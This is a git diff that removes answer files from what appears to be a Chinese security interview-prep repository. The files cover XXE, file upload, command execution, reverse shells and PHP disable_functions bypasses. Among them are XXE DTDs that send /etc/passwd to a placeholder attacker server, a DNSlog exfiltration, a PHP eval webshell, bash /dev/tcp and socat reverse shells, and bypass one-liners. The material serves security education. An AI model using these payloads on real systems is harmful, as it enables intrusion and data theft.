||||
- **攻击步骤：**
|
||||
|
||||
1. **构造恶意 DTD 文件：** 在你的攻击服务器上，创建一个 DTD 文件（例如 `evil.dtd`），内容如下：
|
||||
|
||||
```xml
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % send SYSTEM "http://your-evil-server.com/?data=%file;">
|
||||
```
|
||||
|
||||
2. **构造主 XML 请求：**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % p1 SYSTEM "http://your-evil-server.com/evil.dtd">
|
||||
%p1;
|
||||
%send;
|
||||
]>
|
||||
<test></test>
|
||||
```
|
||||
|
||||
3. **发送请求：**
|
||||
|
||||
- 当服务器解析主 XML 文件时，它会首先请求 `evil.dtd`
|
||||
- 解析 `evil.dtd` 后，它会读取 `file:///etc/passwd` 的内容，并将其作为 `%file` 实体的值
|
||||
- 最后，它会请求 `%send` 实体，将文件内容作为 `GET` 参数发送到你的服务器
|
||||
|
||||
4. **接收数据：** 你会在你的服务器日志中看到类似 `GET /?data=root:x:0:0:root:/root:/bin/bash...` 的请求，从而获取 `/etc/passwd` 的内容
|
||||
|
||||
**3. 利用参数实体获取错误信息**
|
||||
|
||||
当无法通过 HTTP GET 请求直接传输数据时，可以利用 XML 解析器的错误信息来带出数据。这种方法通常用于绕过 WAF 或一些过滤
|
||||
|
||||
- **攻击步骤：**
|
||||
|
||||
1. **构造恶意 DTD 文件：** 在你的服务器上创建 DTD 文件，内容如下：
|
||||
|
||||
```xml
|
||||
<!ENTITY % p1 "
|
||||
<!ENTITY % oob SYSTEM 'http://your-evil-server.com/?data=%file;'>
|
||||
">
|
||||
```
|
||||
|
||||
2. **构造主 XML 请求：**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE root [
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % dtd SYSTEM "http://your-evil-server.com/evil.dtd">
|
||||
%dtd;
|
||||
%p1;
|
||||
%oob;
|
||||
]>
|
||||
<root></root>
|
||||
```
|
||||
|
||||
3. **发送请求：**
|
||||
|
||||
- 服务器解析主 XML 时，会首先加载 `evil.dtd`
|
||||
- 然后，它会尝试解析 `%p1`，其中包含 `%oob` 的定义
|
||||
- 由于 `%oob` 实体引用了 `%file`，而 `%file` 是一个文件内容，当 XML 解析器尝试将其解析为 URL 时，会因为语法错误而失败，并抛出错误信息
|
||||
|
||||
- **这种方法的关键在于，某些 XML 解析器会把完整的错误信息（包括外部实体的内容）带回给客户端，或者将其写入服务器日志。** 虽然不能直接从响应中看到，但可以利用这个特性进行注入
|
||||
|
||||
**4. 利用 DNSlog 获取数据**
|
||||
|
||||
当目标服务器无法出网，或者 HTTP 协议被严格过滤时，DNSlog 是一个非常好的选择
|
||||
|
||||
- **攻击步骤：**
|
||||
|
||||
1. **准备 DNSlog 平台：** 获取一个 DNSlog 域名，例如 `hacker.dnslog.cn`
|
||||
|
||||
2. **构造 XML 请求：**
|
||||
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<!DOCTYPE a [
|
||||
<!ENTITY % p1 SYSTEM "http://`whoami`.hacker.dnslog.cn">
|
||||
%p1;
|
||||
]>
|
||||
<test></test>
|
||||
```
|
||||
|
||||
3. **发送请求：**
|
||||
|
||||
- 服务器解析 XML 时，会尝试解析 `whoami` 命令的输出，并将其作为子域名，向 `hacker.dnslog.cn` 发起 DNS 查询
|
||||
|
||||
4. **查看结果：** 你会在 DNSlog 平台的日志中看到类似 `www-data.hacker.dnslog.cn` 的查询记录，从而获取到 `whoami` 命令的输出
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,40 +0,0 @@
|
||||
### PCDATA 和 CDATA 的区别
|
||||
|
||||
**PCDATA**
|
||||
|
||||
PCDATA 是 **可解析字符数据**。在XML或HTML中，当解析器遇到 PCDATA 时，它会解析其中的特殊字符。这意味着，如果你的数据中包含 `<`、`>`、`&` 等字符，解析器会将其视为标签或实体的开始
|
||||
|
||||
例如，在XML中：
|
||||
|
||||
```xml
|
||||
<note>
|
||||
<body>这是一个 <b>粗体</b> 文本。</body>
|
||||
</note>
|
||||
```
|
||||
|
||||
这里的 `<` 会被解析成 `<`，`>` 会被解析成 `>`。如果你在XML元素中直接写入 `<script>` 标签，解析器会把它当作一个新的节点来处理，而不是纯粹的文本内容。在渗透测试中，如果一个 Web 应用将用户输入作为 PCDATA 处理，但没有进行充分的过滤，攻击者可以注入恶意代码，如 XSS (跨站脚本) 攻击
|
||||
|
||||
**CDATA**
|
||||
|
||||
CDATA 是 **不可解析字符数据**。与 PCDATA 相反，解析器会将其中的所有内容都视为纯文本，不会对 `<`、`>`、`&` 等特殊字符进行解析。CDATA 块通常用 `<![CDATA[ ... ]]>` 语法来定义
|
||||
|
||||
例如，在XML中：
|
||||
|
||||
```xml
|
||||
<note>
|
||||
<script_code><![CDATA[
|
||||
if (x < 10 && y > 5) {
|
||||
alert('Hello!');
|
||||
}
|
||||
]]></script_code>
|
||||
</note>
|
||||
```
|
||||
|
||||
在这个例子中，`CDATA` 块内的所有内容，包括 `<`、`>`、`&`，都会被原封不动地当作字符串来处理。即使代码中包含了类似HTML 标签的字符，解析器也不会将它们当作标签来处理。这使得 CDATA 在需要嵌入包含特殊字符的文本（如代码片段、JavaScript 等）时非常有用
|
||||
|
||||
| 特性 | PCDATA (可解析字符数据) | CDATA (不可解析字符数据) |
|
||||
| -------- | ------------------------------------------------------------ | ------------------------------------------------------------ |
|
||||
| 解析方式 | 解析特殊字符（<、>、& 等） | 将所有内容视为纯文本，不解析特殊字符 |
|
||||
| 主要用途 | 包含普通的、可解析的文本内容 | 包含代码、脚本或其他含有特殊字符的文本 |
|
||||
| 攻击风险 | 高。如果对用户输入处理不当，容易导致 XSS、XML 实体注入等漏洞 | 低。由于其内容被视为纯文本，它能有效防止特殊字符被解释为标签或代码 |
|
||||
| 攻击场景 | 当应用程序将用户输入直接放入PCDATA区域，而没有进行充分的转义时，攻击者可以注入 XSS 等代码 | 除非应用程序对 CDATA 块本身进行了处理或二次解析，否则在 CDATA 内部直接进行注入攻击是无效的 |
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,58 +0,0 @@
|
||||
### 文件上传漏洞绕过方法
|
||||
|
||||
**1. 客户端 JS 绕过**
|
||||
|
||||
这是最简单也是最常见的绕过方法。许多开发者为了方便，只在前端（浏览器）使用 JavaScript 脚本来检查文件类型，如 `.jpg`、`.png`、`.gif` 等
|
||||
|
||||
- **绕过方法：**
|
||||
- **禁用 JavaScript：** 在浏览器设置中直接禁用 JS，或者使用抓包工具（如 Burp Suite）拦截请求，修改文件名和内容后再发送
|
||||
- **抓包修改文件名：** 正常上传一个合法的图片文件（`1.jpg`），然后使用 Burp Suite 拦截数据包，将文件名修改为 `1.php`。由于服务器后端没有进行二次验证，就会直接上传成功
|
||||
|
||||
**2. MIME 类型绕过**
|
||||
|
||||
服务器有时会通过检查 HTTP 请求头中的 `Content-Type` 字段来验证文件类型。例如，一个图片的 `Content-Type` 通常是 `image/jpeg` 或 `image/png`
|
||||
|
||||
- **绕过方法：**
|
||||
- **修改 `Content-Type`：** 攻击者可以上传一个 `webshell.php` 文件，同时在抓包工具中将 `Content-Type` 字段从 `application/octet-stream`（默认值）修改为 `image/jpeg`。如果后端只依赖这个字段进行判断，恶意文件就会上传成功
|
||||
|
||||
**3. 文件头内容检测绕过（魔术字节）**
|
||||
|
||||
一些更安全的系统会检查文件的“魔术字节”（Magic Bytes），也就是文件头部的一串特定字节，用以识别文件类型。例如，JPEG 图片文件开头通常是 `FF D8 FF E0`
|
||||
|
||||
- **绕过方法：**
|
||||
- **“图片马”：** 攻击者可以将恶意代码嵌入到图片文件中，制作成一个“图片马”
|
||||
- **制作方法：**
|
||||
1. 准备一张正常的图片（`1.jpg`）和一个包含恶意代码的文本文件（`shell.php`），内容为 `<?php eval($_POST['cmd']);?>`
|
||||
2. 使用命令将两者合并：`copy 1.jpg/b + shell.php/a webshell.jpg`
|
||||
- **利用方式：**
|
||||
1. 上传 `webshell.jpg` 文件。如果服务器检查了文件头，但没有检查文件内容，就会上传成功。
|
||||
2. 然后，攻击者需要找到一种方法来解析这个图片文件，使其作为 PHP 代码执行。这通常需要结合 **文件包含漏洞（LFI）** 来实现，例如 `include('webshell.jpg')`，或者一些服务器配置错误（如 Apache 的 `.htaccess` 配置）
|
||||
|
||||
**4. 文件名、路径绕过**
|
||||
|
||||
服务器通常会有一份黑名单或白名单来限制可上传的文件扩展名。黑名单会阻止 `.php`, `.asp`, `.jsp` 等脚本文件，而白名单只允许 `.jpg`, `.png`, `.gif` 等图片文件
|
||||
|
||||
**a. 黑名单绕过**
|
||||
|
||||
- **大小写绕过：** `shell.Php`、`shell.pHP` 等
|
||||
- **文件后缀名加空格或点：** 在 Windows IIS 服务器上，文件名末尾的空格或点会被自动去除
|
||||
- `shell.php `（空格）
|
||||
- `shell.php.`（点）
|
||||
- **双重扩展名：** 某些服务器只检查最后一个扩展名
|
||||
- `shell.php.jpg`：上传后，如果服务器处理不当，可能会被当做 `shell.php` 来执行。
|
||||
- **特殊字符绕过：** 利用一些特殊字符，如 `shell.php%00.jpg`（00 截断）
|
||||
- **00截断：** 在 PHP 5.3 之前，PHP 的 `move_uploaded_file()` 函数在处理文件名时，遇到 `0x00` 字节会截断后面的内容。攻击者可以在文件名中注入 `%00`，如 `shell.php%00.jpg`，上传时，服务器只检查 `.jpg`，但实际保存的文件名是 `shell.php`
|
||||
|
||||
**b. 白名单绕过**
|
||||
|
||||
- **服务器解析漏洞：**
|
||||
- **Apache：** 如果服务器配置了 `AddHandler php5-script .jpg`，那么所有 `.jpg` 文件都会被当作 PHP 脚本来解析
|
||||
- **IIS 6.0：** 目录解析漏洞，例如 `/xx.asp/shell.jpg`。服务器会把 `shell.jpg` 当作 ASP 脚本执行
|
||||
- **IIS 7.0/7.5：** `web.config` 配置文件解析漏洞。攻击者可以上传一个恶意的 `web.config` 文件来改变目录的解析规则
|
||||
- **竞争条件（Race Condition）：**
|
||||
- 一些服务器在处理文件上传时，会先将文件临时保存，然后进行安全检查，最后再重命名或移动到目标目录
|
||||
- **利用方法：** 攻击者可以利用这个时间差，在文件被检查并删除之前，迅速访问该文件
|
||||
- **步骤：**
|
||||
1. 上传一个包含恶意代码的脚本文件（如 `shell.php`），其中恶意代码会创建一个新的 Webshell 文件
|
||||
2. 在文件上传成功后，但在服务器删除它之前，通过一个脚本循环快速访问该文件
|
||||
3. 恶意脚本被执行，并创建一个新的、无法被删除的 Webshell 文件
|
||||
@@ -1,20 +0,0 @@
|
||||
# 网安面试题（涵盖护网、红队、逆向、二进制）
|
||||
|
||||
上万道安全面试题已经全部为您划分好，适用于网络安全所有岗位！！！
|
||||
|
||||
HR：请问…………
|
||||
|
||||
我：叽里咕噜说啥呢，看看八股文上写了没
|
||||
|
||||
（Summary.md 是目录噢！！）
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中，以下朋友给予了宝贵的帮助与支持，在此表示诚挚的感谢！（排名不分先后）
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目，欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题，我们会在后续版本中加入您的名字
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,122 +0,0 @@
|
||||
### 代码执行、命令执行的函数有哪些
|
||||
|
||||
**PHP**
|
||||
|
||||
在 PHP 中，有很多函数可以执行系统命令或代码。它们是 PHP 漏洞利用中最常见的攻击入口
|
||||
|
||||
**命令执行函数**
|
||||
|
||||
- `exec()`: 执行一个外部程序，不返回输出结果，通常需要使用参数获取
|
||||
|
||||
```php
|
||||
exec('whoami', $output);
|
||||
print_r($output);
|
||||
```
|
||||
|
||||
- `passthru()`: 直接将命令的输出传递到浏览器
|
||||
|
||||
```php
|
||||
passthru('ls -la');
|
||||
```
|
||||
|
||||
- `shell_exec()`: 通过 shell 执行命令，并将整个输出结果作为字符串返回
|
||||
|
||||
```php
|
||||
$output = shell_exec('id');
|
||||
echo $output;
|
||||
```
|
||||
|
||||
- `system()`: 执行外部程序并显示输出
|
||||
|
||||
```php
|
||||
system('netstat -an');
|
||||
```
|
||||
|
||||
- `popen()` 和 `proc_open()`: 都可以打开一个进程文件指针，允许对进程进行双向 I/O 操作
|
||||
|
||||
```
|
||||
$handle = popen('ls', 'r');
|
||||
```
|
||||
|
||||
- `pcntl_exec()`: 在 PHP CLI 环境中，用新的程序替换当前进程
|
||||
|
||||
**代码执行函数**
|
||||
|
||||
- `eval()`: 将字符串作为 PHP 代码来执行。这是最常见的代码执行漏洞函数
|
||||
|
||||
```php
|
||||
$code = $_GET['code'];
|
||||
eval($code);
|
||||
```
|
||||
|
||||
- `assert()`: 在 PHP 7.2 之前，`assert()` 函数可以执行字符串参数
|
||||
|
||||
```php
|
||||
assert($_POST['pass']);
|
||||
```
|
||||
|
||||
- `create_function()`: 用于创建一个匿名函数
|
||||
|
||||
```php
|
||||
$func = create_function('', 'return ' . $_GET['pass'] . ';');
|
||||
$func();
|
||||
```
|
||||
|
||||
- `call_user_func()` 和 `call_user_func_array()`: 调用一个用户函数，如果参数是用户可控的，可以用来执行任意函数
|
||||
|
||||
- `array_map()`: 将回调函数作用到给定数组的每个元素上
|
||||
|
||||
- `unserialize()`: 反序列化函数，如果序列化数据中包含一个恶意对象，可以导致对象注入，从而触发魔术方法（如 `__destruct()`），最终实现代码执行
|
||||
|
||||
**Python**
|
||||
|
||||
Python 的 Web 应用中也经常出现类似的问题
|
||||
|
||||
**命令执行函数**
|
||||
|
||||
- `os.system()`: 执行 shell 命令
|
||||
|
||||
- `os.popen()`: 执行 shell 命令，并返回一个文件对象
|
||||
|
||||
- `subprocess` 模块: 这是更安全、更现代的模块，但如果参数处理不当，同样会造成命令注入
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
cmd = 'ls ' + user_input
|
||||
subprocess.call(cmd, shell=True) # 当 shell=True 时，可能存在命令注入
|
||||
```
|
||||
|
||||
**代码执行函数**
|
||||
|
||||
- `eval()`: 将字符串作为表达式来执行
|
||||
|
||||
```python
|
||||
result = eval('1 + 1')
|
||||
```
|
||||
|
||||
- `exec()`: 执行动态代码
|
||||
|
||||
- `pickle.loads()`: 反序列化模块，如果反序列化恶意数据，可能导致代码执行
|
||||
|
||||
**Java**
|
||||
|
||||
在 Java 中，直接执行系统命令的函数相对较少，但依然存在
|
||||
|
||||
**命令执行函数**
|
||||
|
||||
- `Runtime.getRuntime().exec()`: 在单独的进程中执行指定的字符串命令
|
||||
|
||||
```java
|
||||
Runtime.getRuntime().exec("ls -la");
|
||||
```
|
||||
|
||||
- `java.lang.ProcessBuilder`: 创建一个操作系统进程
|
||||
|
||||
```java
|
||||
new ProcessBuilder("ls", "-la").start();
|
||||
```
|
||||
|
||||
**代码执行**
|
||||
|
||||
- `ScriptEngine`：Java 脚本引擎，可以执行 JavaScript 等脚本语言
|
||||
- 反序列化：Java 的反序列化漏洞通常是由于 `readObject()` 方法处理不当，结合 `Commons-Collections` 等库中的链式调用，最终实现命令执行
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,47 +0,0 @@
|
||||
### 正向 Shell 和反向 Shell 的区别
|
||||
|
||||
**正向 Shell (Bind Shell)**
|
||||
|
||||
**工作原理**
|
||||
|
||||
1. 攻击者在目标主机上执行恶意代码，该代码会开启一个端口并监听，等待连接
|
||||
2. 攻击者随后从自己的机器上，向目标主机的这个监听端口发起连接
|
||||
3. 一旦连接建立，攻击者就可以通过这个连接发送命令，并在自己的终端上接收目标主机的输出
|
||||
|
||||
```
|
||||
A[攻击者] --主动发起连接--> B[目标主机: 监听端口]
|
||||
B --命令输出--> A
|
||||
```
|
||||
|
||||
**优点**
|
||||
|
||||
- **简单**：一旦端口在目标主机上打开，攻击者就可以直接连接。
|
||||
|
||||
**缺点**
|
||||
|
||||
- **防火墙限制**：这是正向 Shell 最大的问题。许多企业和家庭网络都部署了防火墙，会阻止来自外部的入站连接。目标主机的端口通常是关闭的，或者被严格限制
|
||||
- **IP 地址不确定**：如果目标主机的 IP 是动态的，攻击者很难持续连接
|
||||
|
||||
**反向 Shell (Reverse Shell)**
|
||||
|
||||
**工作原理**
|
||||
|
||||
1. 攻击者首先在自己的机器上，开启一个端口并监听，等待连接
|
||||
2. 攻击者在目标主机上执行恶意代码，该代码会主动连接攻击者的监听端口
|
||||
3. 一旦连接建立，攻击者就可以通过这个连接向目标主机发送命令，并接收命令输出
|
||||
|
||||
```
|
||||
A[攻击者: 监听端口] --等待连接--> B[目标主机]
|
||||
B --主动发起连接--> A
|
||||
A --命令--> B
|
||||
B --命令输出--> A
|
||||
```
|
||||
|
||||
**优点**
|
||||
|
||||
- **绕过防火墙**：这是反向 Shell 最大的优势。防火墙通常只阻止入站连接，但允许内部主机向外部发起出站连接。这使得反向 Shell 能够轻松穿透大多数防火墙
|
||||
- **IP 地址不确定**：即使目标主机的 IP 是动态的，只要它能主动连接到攻击者的固定 IP 地址，连接就可以成功建立
|
||||
|
||||
**缺点**
|
||||
|
||||
- **复杂性**：攻击者需要有一个公网 IP 或能够通过端口转发，才能在自己的机器上成功监听
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,107 +0,0 @@
|
||||
### 如何从非交互的 Shell 提升为交互 Shell
|
||||
|
||||
方法一：使用 Python PTY 模块（最常用）
|
||||
|
||||
如果目标系统安装了 Python，这是最简单、最可靠的方法
|
||||
|
||||
1. **执行命令：** 在你的非交互shell中输入并执行以下命令：
|
||||
|
||||
```bash
|
||||
python -c 'import pty; pty.spawn("/bin/bash")'
|
||||
```
|
||||
|
||||
这条命令会调用 Python 的`pty`模块，创建一个伪终端，并执行`/bin/bash`
|
||||
|
||||
2. **设置终端：** 此时，你已经获得了一个基本的交互式 shell，但可能仍然存在一些显示问题。接下来，需要通过以下命令进一步完善：
|
||||
|
||||
```bash
|
||||
# 这一步是设置环境变量，让终端知道自己是什么类型
|
||||
export TERM=xterm
|
||||
|
||||
# 这一步是后台运行stty命令，捕获终端信号
|
||||
stty raw -echo
|
||||
```
|
||||
|
||||
**注意：** 最后一条命令 `stty raw -echo` 执行后，你的输入可能不会立即显示。这是正常的，你需要继续操作
|
||||
|
||||
3. **背景化（可选）：** 此时你的 shell 仍在前台，可以将其发送到后台：
|
||||
|
||||
```bash
|
||||
Ctrl + Z
|
||||
```
|
||||
|
||||
然后回到你自己的攻击机终端，执行以下命令，将 shell 重新拉回前台：
|
||||
|
||||
```bash
|
||||
stty raw echo
|
||||
fg
|
||||
```
|
||||
|
||||
现在，你拥有了一个功能完整的、带有 `Tab` 补全、上下箭头和 `Ctrl+C` 功能的交互式 shell
|
||||
|
||||
**方法二：使用 `script` 命令**
|
||||
|
||||
`script` 命令用于记录终端会话，但也可以用来提升 shell
|
||||
|
||||
1. **执行命令：**
|
||||
|
||||
```bash
|
||||
script /dev/null
|
||||
```
|
||||
|
||||
这条命令会启动一个新的 shell，并将所有输出写入 `/dev/null`。这实际上创建了一个新的伪终端
|
||||
|
||||
2. **完成设置：**
|
||||
|
||||
```bash
|
||||
Ctrl + C
|
||||
export SHELL=bash
|
||||
export TERM=xterm
|
||||
reset
|
||||
```
|
||||
|
||||
**注意：** 这种方法有时可能不稳定，并且在某些系统上可能不适用
|
||||
|
||||
**方法三：使用 `socat`**
|
||||
|
||||
`socat`是一个功能强大的网络工具，可以用于在两个位置之间建立双向数据流
|
||||
|
||||
1. **攻击机（监听端）：** 在你的攻击机上，使用 `socat` 监听一个端口
|
||||
|
||||
```bash
|
||||
socat file:`tty`,raw,echo=0 tcp-listen:4444
|
||||
```
|
||||
|
||||
2. **目标机（执行端）：** 在非交互式 Shell中，使用 `socat` 连接到你的攻击机
|
||||
|
||||
```bash
|
||||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<攻击机IP>:4444
|
||||
```
|
||||
|
||||
3. **优势：** `socat` 的方法非常强大，可以创建非常稳定的交互式 Shell，并能处理各种终端信号
|
||||
|
||||
**方法四：使用 `rlwrap`（需要安装）**
|
||||
|
||||
`rlwrap` 是一个命令行工具，它可以为任何程序添加 `readline` 功能，包括历史记录和行编辑
|
||||
|
||||
1. **攻击机（监听端）：**
|
||||
|
||||
```bash
|
||||
nc -lvnp 4444
|
||||
```
|
||||
|
||||
2. **目标机（执行端）：**
|
||||
|
||||
```bash
|
||||
bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1
|
||||
```
|
||||
|
||||
此时，你获得了非交互式 Shell
|
||||
|
||||
3. **攻击机（提升 shell）：** 在你自己的攻击机上，使用 `rlwrap` 重新连接到目标主机，就可以获得一个带有历史记录和补全功能的 Shell
|
||||
|
||||
```bash
|
||||
rlwrap nc -v <目标机IP> 4444
|
||||
```
|
||||
|
||||
**注意：** 这需要 `rlwrap` 工具在你的攻击机上已经安装
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,76 +0,0 @@
|
||||
### PHP disable_functions() 绕过方法
|
||||
|
||||
**1. LD_PRELOAD 环境变量劫持**
|
||||
|
||||
**原理：** `LD_PRELOAD` 是一个环境变量，它允许用户在程序运行前指定一个或多个动态链接库（.so文件）。这些库中的函数会优先于系统默认的库被加载。我们可以利用这一点，编写一个恶意的动态链接库，其中包含一个与常用系统函数（如 `getuid`、`geteuid` 等）同名的恶意函数
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. 编写一个 C 语言恶意代码，利用 `__attribute__((constructor))` 在库加载时执行系统命令，并将其编译成一个 `.so` 文件
|
||||
2. 在 PHP 中，通过 **`putenv()`** 函数设置 `LD_PRELOAD` 环境变量，指向我们恶意的 `.so` 文件
|
||||
3. 触发一个可以调用系统函数的 PHP 函数，例如 `mail()` 或 `exec()`。当这个函数被调用时，`LD_PRELOAD` 就会生效，我们的恶意代码会被执行
|
||||
|
||||
这种方法非常有效，但前提是 `putenv()` 或类似的函数没有被禁用，并且目标服务器支持动态链接
|
||||
|
||||
**2. ImageMagick 命令执行漏洞**
|
||||
|
||||
**漏洞名称：** CVE-2016-3714 (ImageTragick) **原理：** ImageMagick 是一个用于创建、编辑和转换图像的流行开源软件。该漏洞允许攻击者通过处理一个特制的图像文件（例如 SVG、MVG 格式）来执行任意系统命令
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. 制作一个恶意的 SVG 或 MVG 格式图像文件，其中嵌入了命令执行 Payload。例如：`"push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/)'"`，`url()` 后面可以接 `file://` 或 `http://` 等协议，通过 `pipe` 触发命令
|
||||
2. 在 PHP 中，如果使用了 **`Imagick`** 扩展来处理上传的图像文件，当调用 `readImage()` 或 `pingImage()` 等函数时，就会触发漏洞，执行恶意 Payload
|
||||
|
||||
这种方法主要针对使用了特定软件版本且存在漏洞的目标，属于典型的“Nday”漏洞利用
|
||||
|
||||
**3. Windows 系统组件 COM 绕过**
|
||||
|
||||
**原理：** 在 Windows 环境下，**`COM`** (Component Object Model) 是一个重要的技术。PHP 的 `COM` 扩展可以用来创建和调用 COM 组件。其中，`WScript.Shell` 这个组件可以用来执行系统命令
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. 在 PHP 代码中，通过 `new COM('WScript.shell')` 创建一个 `WScript.Shell` 对象
|
||||
2. 调用这个对象的 `run()` 或 `exec()` 方法来执行命令。例如：`$shell = new COM('WScript.shell'); $shell->Run('cmd.exe /c "whoami"');`
|
||||
3. 这种方法依赖于 PHP 的 `COM` 扩展是否启用，以及目标服务器是否是 Windows 系统
|
||||
|
||||
**4. PHP 7.4 FFI 绕过**
|
||||
|
||||
**原理：** **`FFI`** (Foreign Function Interface) 是 PHP 7.4 引入的一个扩展，允许 PHP 代码直接调用 C 语言的函数和数据结构，而无需编写额外的 C 语言扩展。这大大增强了 PHP 的能力，同时也带来了安全风险
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. 使用 `FFI::cdef()` 函数加载 `libc` 库，并定义 `system` 或 `exec` 函数
|
||||
2. 然后就可以像调用 PHP 函数一样调用 C 语言的 `system` 函数来执行命令
|
||||
3. 例如：`$ffi = FFI::cdef('int system(const char *command);', 'libc.so.6'); $ffi->system('whoami');`
|
||||
4. 这种方法非常强大，但前提是 `FFI` 扩展已启用且未被禁用
|
||||
|
||||
**5. Bash 破壳漏洞**
|
||||
|
||||
**漏洞名称：** CVE-2014-6271 (Shellshock) **原理：** 这是一个在 Bash 4.3 及更早版本中的高危漏洞。它允许攻击者通过环境变量，向 Bash 注入并执行任意代码
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. 在 PHP 中，使用 `putenv()` 设置一个特殊的恶意环境变量
|
||||
2. 例如：`putenv("test=() { :;}; echo 'VULNERABLE'");`
|
||||
3. 随后，调用任何可以调用 Bash 的函数，例如 `mail()` 或 `exec()`。当 Bash 被调用时，它会解析环境变量，触发漏洞，执行恶意 Payload
|
||||
|
||||
**6. `imap_open()` 绕过**
|
||||
|
||||
**漏洞名称：** CVE-2018-19518 **原理：** 在 PHP 5.x 和 7.x 版本中，`imap_open()` 函数存在一个漏洞。当处理一个特定的 IMAP 协议 URL 时，它会调用 `rsh` 或 `ssh` 命令来连接远程服务器，从而导致命令执行
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. 在 PHP 中调用 `imap_open()` 函数，并传入一个恶意构造的 IMAP URL
|
||||
2. 例如：`imap_open('-oProxyCommand=whoami', 'a', 'a');`
|
||||
3. `-oProxyCommand` 是一个 SSH 选项，它允许在连接前执行命令。`imap_open()` 会调用 `rsh` 或 `ssh`，从而触发这个命令执行
|
||||
4. 这种方法依赖于目标服务器上 `imap` 扩展是否启用
|
||||
|
||||
**7. `pcntl` 插件绕过**
|
||||
|
||||
**原理：** **`pcntl`** 是 PHP 的一个进程控制扩展，它提供了一系列与进程相关的函数，例如 `pcntl_exec()`
|
||||
|
||||
**绕过步骤：**
|
||||
|
||||
1. `pcntl_exec()` 函数可以用来在当前进程中执行一个指定的程序
|
||||
2. 例如：`pcntl_exec('/bin/sh', array('-c', 'whoami'));`
|
||||
3. `pcntl_exec()` 会直接替换当前 PHP 进程，而不会像 `system()` 那样创建一个新的子进程。这种方法非常隐蔽，且通常不被 `disable_functions` 列表所限制
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user